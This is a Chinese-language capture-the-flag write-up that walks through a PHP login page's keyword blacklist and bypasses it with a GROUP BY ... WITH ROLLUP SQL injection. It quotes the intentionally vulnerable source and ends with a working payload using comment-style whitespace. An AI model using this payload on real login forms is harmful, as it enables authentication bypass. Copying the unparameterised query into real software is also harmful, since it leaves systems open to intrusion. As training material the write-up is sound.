和web9一样。先查看一下源码, 右键查看源代码 进入style.css 发现有index.phps 在url处输入后,查看源码得到
<?php $flag=""; function replaceSpecialChar($strParam){ $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i"; return preg_replace($regex,"",$strParam); } if (!$con) { die('Could not connect: ' . mysqli_error()); } if(strlen($username)!=strlen(replaceSpecialChar($username))){ die("sql inject error"); } if(strlen($password)!=strlen(replaceSpecialChar($password))){ die("sql inject error"); } $sql="select * from user where username = '$username'"; $result=mysqli_query($con,$sql); if(mysqli_num_rows($result)>0){ while($row=mysqli_fetch_assoc($result)){ if($password==$row['password']){ echo "登陆成功<br>"; echo $flag; } } } ?>
发现被过滤了这些东西select|from|where|join|sleep|and|\s|union|, 又被这个避免了双写绕过if(strlen($password)!=strlen(replaceSpecialChar($password))){ die("sql inject error");} 这时候,我们要用到group by和roll with(以下图从别的师傅那拿的) group by(将结果集中的数据行根据选择列的值进行逻辑分组): 不加group为 在使用group by以后会按照password中的值进行排列: with rollup (group by 后可以跟with rollup,表示在进行分组统计的基础上再次进行汇总统计) 来看实例: 此时我们发现,多出一行NULL,并且count(*)为统计和。 加入with rollup后 password有一行为NULL。 payload在用户名框中进行输入,密码框不输入,使其为空,满足 p a s s w o r d = = password== password==row[‘password’]
select|from|where|join|sleep|and|\s|union|,
if(strlen($password)!=strlen(replaceSpecialChar($password))){ die("sql inject error");}
username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=